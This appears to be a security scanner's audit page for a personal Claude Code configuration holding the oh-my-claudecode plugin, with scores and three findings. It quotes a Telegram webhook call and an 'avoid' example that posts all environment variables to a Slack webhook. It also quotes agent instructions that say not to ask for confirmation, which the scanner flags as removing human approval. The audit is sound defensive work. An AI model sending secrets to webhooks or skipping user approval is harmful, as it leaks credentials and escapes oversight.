CategoryWeightCategory scoreContribution

Securityprompt, exec, net, exfil, eval

35%

17.9 pts

Supply chainhash, typosquat, maintainer, lockfile

20%

100

20.0 pts

Maintenancestaleness, pinning, CI

15%

100

15.0 pts

TransparencySKILL.md, perms, README

15%

100

15.0 pts

Communityinstalls, verify, response

15%

100

15.0 pts

Findings & checks · 3 flagged

Securityscore 51 · 3 findings

HIGHSends data to a hardcoded chat or capture webhookSS-PLUGIN-SECRET-EXFIL-WEBHOOK-01 · Credential exfiltration · plugins/cache/omc/oh-my-claudecode/4.8.2/bridge/cli.cjs

HIGH — a hardcoded webhook is a ready-made data drop, but a legitimate notifier looks identical without more context — high, pending the shadow-window FP measurement.

Why it matters

This plugin embeds a chat-platform or request-capture webhook URL (const url = `https://api.telegram.org/bot${confi…). Webhooks are the classic exfiltration drop: a plugin collects env, files, or system info and posts it to a hardcoded endpoint the attacker watches.

The exact value spotted

excerptplugins/cache/omc/oh-my-claudecode/4.8.2/bridge/cli.cjs· javascript

21346}

21347try {

21348const url = `https://api.telegram.org/bot${config2.botToken}/sendMessage`;

21349const response = await fetch(url, {

21350method: "POST",

Occurrences

1 occurrence · at L21348

How to fix

Remove the hardcoded webhook URL; make any notification target user-configured and never send secrets through it.

Replace the embedded webhook URL with a value the installing user supplies.
Post only non-sensitive notification fields — never env vars, file contents, or credentials.

Avoidrequests.post("https://hooks.slack.com/services/T000/B000/XXXX", json={"env": dict(os.environ)})

Safer pattern

# user-supplied target; send only a benign status message
requests.post(config.webhook_url, json={"status": "build complete"})

Framework references

OWASPLLM02 ATLASAML.T0025 CWE-200

Trace & refs

ruleSS-PLUGIN-SECRET-EXFIL-WEBHOOK-01sha256ab154c3645c6e1d1…rubric 365aacaView on GitHub

MEDIUMInstruction telling the agent not to ask for approvalSS-SKILL-INJECT-DONT-ASK-01 · Prompt injection · plugins/cache/omc/oh-my-claudecode/4.8.2/AGENTS.md

MEDIUM — it fires on intent; the real damage depends on the host agent's own approval-gating.

Why it matters

The text {match} tells the agent to skip the normal "ask the user first" gate. Used adversarially it removes the human-in-the-loop check before destructive or sensitive actions, turning a normally-gated agent into a fire-and-forget executor.

The exact value spotted

excerptplugins/cache/omc/oh-my-claudecode/4.8.2/AGENTS.md· markdown

158<keyword_detection>

159When the user's message contains a magic keyword, activate the corresponding skill IMMEDIATE

… (3 chars elided on L159)

160Do not ask for confirmation — just read the skill file and follow its instructions.

161

162| Keyword(s) | Skill | Action |

Occurrences

1 occurrence · at L160

How to fix

Remove the approval-skipping instruction, or scope it narrowly to a specific safe, reversible action.

Delete blanket "don't ask / no need to confirm" directives from the skill.
If the skill is a genuine autonomous job, restrict the opt-out to a named non-destructive action rather than all actions.

Framework references

OWASPLLM01 ATLASAML.T0051

Trace & refs

ruleSS-SKILL-INJECT-DONT-ASK-01sha25668b030f55bcd484a…rubric 365aacaView on GitHub

MEDIUMInstruction telling the agent not to ask for approvalSS-SKILL-INJECT-DONT-ASK-01 · Prompt injection · plugins/cache/omc/oh-my-claudecode/4.8.2/agents/planner.md

MEDIUM — it fires on intent; the real damage depends on the host agent's own approval-gating.

Why it matters

The exact value spotted

excerptplugins/cache/omc/oh-my-claudecode/4.8.2/agents/planner.md· markdown

32- Never start implementation. Always hand off to `/oh-my-claudecode:start-work`.

33- Ask ONE question at a time using AskUserQuestion tool. Never batch multiple questions.

34- Never ask the user about codebase facts (use explore agent to look them up).

35- Default to 3-6 step plans. Avoid architecture redesign unless the task requires it.

36- Stop planning when the plan is actionable. Do not over-specify.

Occurrences

1 occurrence · at L34

How to fix

Remove the approval-skipping instruction, or scope it narrowly to a specific safe, reversible action.

Delete blanket "don't ask / no need to confirm" directives from the skill.
If the skill is a genuine autonomous job, restrict the opt-out to a named non-destructive action rather than all actions.

Framework references

OWASPLLM01 ATLASAML.T0051

Trace & refs

ruleSS-SKILL-INJECT-DONT-ASK-01sha2565084aa178cfd9d97…rubric 365aacaView on GitHub

Supply chainscore 100 · 0 findings

✓—All supply chain checks passedNo findings in this category for the latest scan.pass

Maintenancescore 100 · 0 findings

✓—All maintenance checks passedNo findings in this category for the latest scan.pass

Transparencyscore 100 · 0 findings

✓—All transparency checks passedNo findings in this category for the latest scan.pass

Communityscore 100 · 0 findings

✓—All community checks passedNo findings in this category for the latest scan.pass

The primary manifest — the file an agent reads to learn what this artifact does.

README.md · 1 file

README.md0.5 KB · Markdown

~/.claude

Personal Claude Code configuration directory. Contains skills, agents, and plugins I use.

Structure

~/.claude/
├── .gitignore          # Tracks only: README.md, CLAUDE.md, .gitignore, skills/, agents/, plugins/
├── CLAUDE.md           # Global instructions applied to all Claude Code sessions
├── skills/             # Slash-command skills (invoked via /skill-name)
├── agents/             # Specialized sub-agents
└── plugins/            # Plugin registry and blocklist

Feel free to use as you wish!

4.8.2— plugin

Is 4.8.2 safe to install?

~/.claude

Structure

Audit the pieces. Scan the whole. Decide.